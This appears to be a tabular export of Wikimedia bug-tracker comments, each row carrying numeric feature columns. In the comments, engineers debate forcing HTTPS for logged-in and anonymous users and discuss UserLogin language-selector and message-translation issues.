212246,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I'd also like to point out that users can always choose to use HTTPS if they feel they are being eavesdropped on. The only reason we'd force all anon users over HTTPS is if doing so will force governments to allow HTTPS, which is something we cannot guarantee. Maybe instead of allowing HTTPS, the government in question will just decide serving Wikipedia to its people is too much of a bother to deal with.",,,1371350613,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,2.0,1.0,0.0,2.0,1.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,1.0,0.0,4.0,0.0,10.0,18.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,6.0,4.0,1.0,1.0,0.0,0.0,1.0,2.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,10.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,7.0,18.0,5.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,4.073170731707317,0.7439024390243902,"I'd also like to point out that users can always choose to use HTTPS if they feel they are being eavesdropped on. The only reason we'd force all anon users over HTTPS is if doing so will force governments to allow HTTPS, which is something we cannot guarantee. Maybe instead of allowing HTTPS, the government in question will just decide serving Wikipedia to its people is too much of a bother to deal with."
212240,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Anons are generally readers. Forcing anons to HTTPS would be to try to prevent eavesdropping. People who edit anon are giving up their privacy. If they wish to stay anonymous while editing they should make an account.

Yes, there's still ways to eavesdrop when using HTTPS (like the example you've mentioned, but it's significantly harder and isn't completely accurate.",,,1371349484,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,8.0,12.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,6.0,10.0,4.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,7.0,12.0,4.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,0.0,6.0,1.0,0.0,0.0,4.333333333333333,0.8194444444444444,"Anons are generally readers. Forcing anons to HTTPS would be to try to prevent eavesdropping. People who edit anon are giving up their privacy. If they wish to stay anonymous while editing they should make an account.

Yes, there's still ways to eavesdrop when using HTTPS (like the example you've mentioned, but it's significantly harder and isn't completely accurate."
212234,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I know this is politically charged, but what's the security goal for forcing anons to use SSL. Stop government from eavesdropping on the communication that they could just as easily get from reading Special:Recentchanges?

Stop government from figuring out which articles somebody is reading? Well that's a goal I support, will SSL actually stop that? Assuming government can monitor the encrypted traffic going down the wire, they should be able to see how much traffic has been transferred. I imagine this somewhat uniquely identifies an article, especially when you consider images. OTOH, I suppose it makes figuring out which article they are reading more difficult, and you can't just snoop for keywords.

OTOH SSL everywhere all the time certainly couldn't hurt. But that's a long process. Step 1 sounds like a reasonable starting point.

[Not a security expert. Let me know if I said anything stupid and wrong :)]",,,1371343604,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1.0,1.0,0.0,0.5,1.5,4.5,1.0,0.0,0.0,0.5,0.5,1.0,0.5,0.5,0.0,3.0,0.5,10.5,7.0,1.0,1.0,0.5,0.0,0.0,0.5,0.5,1.0,0.0,1.5,0.5,0.5,8.5,3.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,0.5,0.5,0.0,0.0,9.5,2.0,0.5,0.5,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.5,5.5,2.5,10.5,2.0,2.0,9.5,0.0,0.5,0.0,0.0,5.5,0.5,0.5,0.0,6.5,7.0,2.0,1.5,0.0,0.0,6.5,0.0,2.5,2.5,0.5,4.0,0.5,0.0,0.5,4.353932584269663,0.7696629213483146,"I know this is politically charged, but what's the security goal for forcing anons to use SSL. Stop government from eavesdropping on the communication that they could just as easily get from reading Special:Recentchanges?

Stop government from figuring out which articles somebody is reading? Well that's a goal I support, will SSL actually stop that? Assuming government can monitor the encrypted traffic going down the wire, they should be able to see how much traffic has been transferred. I imagine this somewhat uniquely identifies an article, especially when you consider images. OTOH, I suppose it makes figuring out which article they are reading more difficult, and you can't just snoop for keywords.

OTOH SSL everywhere all the time certainly couldn't hurt. But that's a long process. Step 1 sounds like a reasonable starting point.

[Not a security expert. Let me know if I said anything stupid and wrong :)]"
212229,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Well, this bug seems a little politically charged...

Are we considering the users that will completely lose access when this action occurs? Some countries completely block HTTPS, but allow HTTP. I dislike eavedropping by governments, but I also dislike not providing access to people too.

The rough steps ops was looking at (but hadn't fully decided upon) were:

1. Redirect logged in users to HTTPS. Protecting credentials is important. I think forcing HTTPS here is sane.
2. Expand the HTTPS infrastructure, moving the terminators directly onto the frontends. Put in engineering effort so that we can distribute the SSL cache and switch to a round robin load balancer rather than the source hash one we're currently using.
3. Slowly soft-enable HTTPS for anons, by default, for smaller projects moving towards soft-enabling it on the larger projects as well. We can do this by using rel=canonical, with the https link being given.
4. Consider force enabling HTTPS via redirects. This action is difficult. We'll lock out users with this action. I think this should be a community decision (maybe per-wiki) and isn't up for discussion on bugzilla.
5. If HTTPS is force enabled, then enable HSTS to protect against downgrade attacks.

Maybe we could offer a warning to folks on HTTP, saying that they should consider using HTTPS and that their communications can be monitored? Of course, we shouldn't do this until we can properly handle all anon traffic on HTTPS.",,,1371341921,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,0.6666666666666666,0.0,1.0,1.0,1.3333333333333333,3.3333333333333335,1.6666666666666667,0.0,0.0,0.3333333333333333,1.0,1.6666666666666667,0.0,0.0,0.0,4.0,1.3333333333333333,8.333333333333334,12.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,1.0,4.666666666666667,2.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,1.3333333333333333,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,14.333333333333334,0.3333333333333333,2.6666666666666665,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,4.333333333333333,3.6666666666666665,11.0,2.3333333333333335,2.0,7.333333333333333,0.0,0.0,0.0,0.0,6.0,0.3333333333333333,0.3333333333333333,0.0,5.0,12.0,3.6666666666666665,0.6666666666666666,0.0,0.0,5.0,0.0,0.6666666666666666,1.3333333333333333,0.0,4.666666666666667,0.6666666666666666,0.0,2.0,4.126565656565656,0.7424579124579124,"Well, this bug seems a little politically charged...

Are we considering the users that will completely lose access when this action occurs? Some countries completely block HTTPS, but allow HTTP. I dislike eavedropping by governments, but I also dislike not providing access to people too.

The rough steps ops was looking at (but hadn't fully decided upon) were:

1. Redirect logged in users to HTTPS. Protecting credentials is important. I think forcing HTTPS here is sane.
2. Expand the HTTPS infrastructure, moving the terminators directly onto the frontends. Put in engineering effort so that we can distribute the SSL cache and switch to a round robin load balancer rather than the source hash one we're currently using.
3. Slowly soft-enable HTTPS for anons, by default, for smaller projects moving towards soft-enabling it on the larger projects as well. We can do this by using rel=canonical, with the https link being given.
4. Consider force enabling HTTPS via redirects. This action is difficult. We'll lock out users with this action. I think this should be a community decision (maybe per-wiki) and isn't up for discussion on bugzilla.
5. If HTTPS is force enabled, then enable HSTS to protect against downgrade attacks.

Maybe we could offer a warning to folks on HTTP, saying that they should consider using HTTPS and that their communications can be monitored? Of course, we shouldn't do this until we can properly handle all anon traffic on HTTPS."
212220,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Sensible, overdue.

MZM: Where are users saying https doesn't work for them?  I don't see any other unaddressed concerns about implementing this bug or the related bugs.  

Tyler commented in #39380 ""What about the extreme (or maybe not-so-extreme) case of other wikis who don't have the resources to put their users over HTTPS,"" - but that does not seem to apply to Wikimedia wikis.",,,1371340916,,PHID-USER-fgzcdbj3je3ksnhufo47,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,9.0,10.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,9.0,1.0,3.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,3.0,10.0,6.0,1.0,2.0,0.0,3.0,0.0,3.0,0.0,1.0,2.0,0.0,0.0,0.0,3.7325581395348837,0.7558139534883721,"Sensible, overdue.

MZM: Where are users saying https doesn't work for them?  I don't see any other unaddressed concerns about implementing this bug or the related bugs.  

Tyler commented in #39380 ""What about the extreme (or maybe not-so-extreme) case of other wikis who don't have the resources to put their users over HTTPS,"" - but that does not seem to apply to Wikimedia wikis."
212213,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Note: If https://gerrit.wikimedia.org/r/47089 is merged, then both solutions (i.e., forcing logged in users and forcing logged in and anon users) will be possible by just setting $wgSecureGroups to array( 'user' ) and array( '*' ) respectively.",,,1367290322,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,3.7346938775510203,0.6938775510204082,"Note: If GERRIT_URL is merged, then both solutions (i.e., forcing logged in users and forcing logged in and anon users) will be possible by just setting $wgSecureGroups to array( 'user' ) and array( '*' ) respectively."
212206,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #3)
> Starting with all logged in traffic (perhaps excluding explicit opt-outs) is
> a natural way to ramp up.

Yes, agreed. I'd call a bug about forcing Wikimedia logged-in users over HTTPS a blocker (or dependency...) of this bug, in fact.

In addition to spare SSL capacity, some users have said that HTTPS does not work for them (for whatever reason). We'll need to take small bites to eat this elephant.

In order to get this bug moving forward, it would be good to have an associated wiki page or list here on Bugzilla of what needs to be done first. This bug's current ""see also""s seem like a good start toward this.",,,1367289304,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-18,True,0.5,0.0,0.0,1.0,0.5,4.0,1.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,1.5,0.0,3.0,14.0,0.0,5.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,1.0,2.0,1.5,1.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.5,13.5,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,2.5,1.5,8.0,0.5,1.5,7.5,0.0,0.0,0.0,0.5,8.0,0.0,0.5,0.0,2.5,14.0,3.5,0.0,1.0,0.0,2.5,0.0,1.5,2.5,0.5,1.5,0.0,0.0,0.0,3.4923076923076923,0.7846153846153846,"(In reply to comment #3)
QUOTE
QUOTE

Yes, agreed. I'd call a bug about forcing Wikimedia logged-in users over HTTPS a blocker (or dependency...) of this bug, in fact.

In addition to spare SSL capacity, some users have said that HTTPS does not work for them (for whatever reason). We'll need to take small bites to eat this elephant.

In order to get this bug moving forward, it would be good to have an associated wiki page or list here on Bugzilla of what needs to be done first. This bug's current ""see also""s seem like a good start toward this."
212199,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),I meant 'spare SSL capacity'.,,,1367288439,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.875,I meant 'spare SSL capacity'.
212196,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #2)
> (In reply to comment #1)
> > Users --> logged-in users? Or all traffic?
> 
> All traffic, otherwise I'd have said so. :-)

Oh, I assumed you did mean logged in.  Maybe we should start with that.

My understanding is we have spare capacity now, but are far from provisioned for all anonymous traffic.  Starting with all logged in traffic (perhaps excluding explicit opt-outs) is a natural way to ramp up.",,,1367288407,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-18,True,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,1.0,5.0,13.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,13.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,6.0,13.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.58974358974359,0.717948717948718,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Oh, I assumed you did mean logged in.  Maybe we should start with that.

My understanding is we have spare capacity now, but are far from provisioned for all anonymous traffic.  Starting with all logged in traffic (perhaps excluding explicit opt-outs) is a natural way to ramp up."
212195,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #1)
> Users --> logged-in users? Or all traffic?

All traffic, otherwise I'd have said so. :-)",,,1367288187,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-18,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,9.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9545454545454546,1.0,"(In reply to comment #1)
QUOTE

All traffic, otherwise I'd have said so. :-)"
212193,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),Users --> logged-in users? Or all traffic?,,,1367287961,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-18,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.9166666666666666,Users --> logged-in users? Or all traffic?
49802,[New UserLogin] Supersede language selection bar with UniversalLanguageSelector,"On the new Special:UserLogin, the custom language selection bar stands out in all its weirdness and ugliness:

Lingua: Deutsch | English | Esperanto | français | español | italiano | Nederlands

UniversalLanguageSelector/ULS will allow us to kill it, in the meanwhile I doubt it's worth improving it.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://fr.wikipedia.org/w/index.php?title=Sp%C3%A9cial:Connexion&useNew=1",Medium,50.0,1367176500,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-hs4hyc5kbx5lfhq3oitv,task_description,open,True,c2,1,True,False,,-18,True,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,6.0,18.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0588235294117645,0.6235294117647059,"On the new Special:UserLogin, the custom language selection bar stands out in all its weirdness and ugliness:

Lingua: Deutsch | English | Esperanto | français | español | italiano | Nederlands

UniversalLanguageSelector/ULS will allow us to kill it, in the meanwhile I doubt it's worth improving it.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
210372,[New UserLogin] Supersede language selection bar with UniversalLanguageSelector,"**swalling** wrote:

Yeah, in the short term we did a little bit of restyling of the language selector, but it's still pretty ugly. Chucking it out in favor of ULS would be good for the state of the login page, though I would guess it's going to be a fairly long road still toward that happens everywhere. 

I considered getting rid of altogether on login, since though it serves a clear purpose on account creation (it also sets your preference lang if you choose one) I'm not sure it does on login.",,,1367201547,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hs4hyc5kbx5lfhq3oitv,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,1.0,0.0,1.0,4.5,1.5,0.0,1.5,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,6.5,12.5,0.0,1.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.5,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,4.5,1.5,4.0,3.0,0.5,5.0,0.0,0.0,0.0,0.0,2.5,0.5,1.0,0.0,9.0,12.5,1.0,0.0,0.0,0.0,9.0,0.0,0.0,2.5,0.0,2.5,0.0,0.0,0.0,3.6962662337662335,0.7933441558441559,"**swalling** wrote:

Yeah, in the short term we did a little bit of restyling of the language selector, but it's still pretty ugly. Chucking it out in favor of ULS would be good for the state of the login page, though I would guess it's going to be a fairly long road still toward that happens everywhere. 

I considered getting rid of altogether on login, since though it serves a clear purpose on account creation (it also sets your preference lang if you choose one) I'm not sure it does on login."
49801,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"The new UserLogin shows red links everywhere. I assume this was done to compensate the removal of the wall of text on en.wiki, but it's not nice: on most wikis those help pages won't exist and are not needed (username policy), or are needed but shouldn't exist locally (logging in; bug 43591), or exist but under another title (every Wikipedia except en.wiki; it.wiki has been fixed, fr.wiki not yet, most Wikipedias will never be fixed).

Simple solution: kill the links (e.g. createacct-helpusername-link) and leave them to customisations of the preceding messages (e.g. userlogin-yourname), which need to parse links and also some HTML if the grey is absolutely needed, and possibly to be copied to a new key if they're recycled from previous interface.

Complex solution: identify if the page exist and don't link it if it doesn't and/or link to MediaWiki.org, e.g. https://www.mediawiki.org/wiki/Help:Logging_in .

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=47704",Medium,50.0,1367175660,1369167354.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_description,resolved,True,c2,1,True,False,True,-18,True,0.6666666666666666,0.0,0.3333333333333333,2.3333333333333335,2.6666666666666665,4.333333333333333,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,2.0,0.0,0.0,0.0,0.3333333333333333,0.0,6.666666666666667,7.333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,1.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,3.0,2.3333333333333335,6.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,5.333333333333333,0.0,1.3333333333333333,0.0,2.3333333333333335,7.333333333333333,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,3.857075788061703,0.7164989939637826,"The new UserLogin shows red links everywhere. I assume this was done to compensate the removal of the wall of text on en.wiki, but it's not nice: on most wikis those help pages won't exist and are not needed (username policy), or are needed but shouldn't exist locally (logging in; bug 43591), or exist but under another title (every Wikipedia except en.wiki; it.wiki has been fixed, fr.wiki not yet, most Wikipedias will never be fixed).

Simple solution: kill the links (e.g. createacct-helpusername-link) and leave them to customisations of the preceding messages (e.g. userlogin-yourname), which need to parse links and also some HTML if the grey is absolutely needed, and possibly to be copied to a new key if they're recycled from previous interface.

Complex solution: identify if the page exist and don't link it if it doesn't and/or link to MediaWiki.org, e.g. URL .

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
URL"
210334,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #23)
> Great. So that I need to go and copy/paste the messages on TranslateWiki.net
> just because they were moved&renamed to be prefixed with “wmf-” (and in case
> this wouldn’t be enough unnecessary work,
> http://translatewiki.net/wiki/MediaWiki:Createacct-imgcaptcha-help/cs was
> deleted, so that I couldn’t even copy&paste (since I cannot view deleted
> revisions) and had to translate it once more from scratch). Couldn’t the
> existing translations have been moved as well? Just saying.

First, thanks for translating!  It is gratifying to see translations appear for our work.  The fix for this bug required moving these messages into the special WikimediaMessages extension, and (as I understand it) in order to distinguish the WMF versions of messages on TranslateWiki they get this ""wmf-"" prefix. When moving messages between core and extensions the recommendation for engineers is to only move En and Qqq, but in the case of WikimediaMessages I think I could/should have copied over the other languages.",,,1370675702,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,2.5,1.0,2.0,12.5,0.0,2.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,4.0,2.0,1.5,1.0,0.0,0.5,0.0,0.0,3.5,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.5,1.5,13.0,1.0,3.0,6.0,0.0,0.0,0.5,0.5,5.0,0.0,0.5,0.0,5.0,12.5,7.0,0.0,1.5,0.0,5.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,1.0,4.159836065573771,0.7607923497267759,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

First, thanks for translating!  It is gratifying to see translations appear for our work.  The fix for this bug required moving these messages into the special WikimediaMessages extension, and (as I understand it) in order to distinguish the WMF versions of messages on TranslateWiki they get this ""wmf-"" prefix. When moving messages between core and extensions the recommendation for engineers is to only move En and Qqq, but in the case of WikimediaMessages I think I could/should have copied over the other languages."
210330,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #23)
> Great. So that I need to go and copy/paste the messages on TranslateWiki.net
> just because they were moved&renamed to be prefixed with “wmf-” (and in case
> this wouldn’t be enough unnecessary work,
> http://translatewiki.net/wiki/MediaWiki:Createacct-imgcaptcha-help/cs was
> deleted, so that I couldn’t even copy&paste (since I cannot view deleted
> revisions) and had to translate it once more from scratch). Couldn’t the
> existing translations have been moved as well? Just saying.

Well, in theory a Wikimedia-specific message doesn't have the same meaning and content as a core one, so reusing core translations would defeat the purpose (not polluting core). I don't know what the status here was exactly; cc'ing Raymond who deleted them.",,,1370508641,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,9.0,5.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,7.0,1.0,16.0,0.0,1.0,7.0,0.0,0.0,0.0,1.0,5.0,0.0,3.0,0.0,3.0,5.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,1.0,3.0,0.0,0.0,0.0,3.6973684210526314,0.7105263157894737,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well, in theory a Wikimedia-specific message doesn't have the same meaning and content as a core one, so reusing core translations would defeat the purpose (not polluting core). I don't know what the status here was exactly; cc'ing Raymond who deleted them."
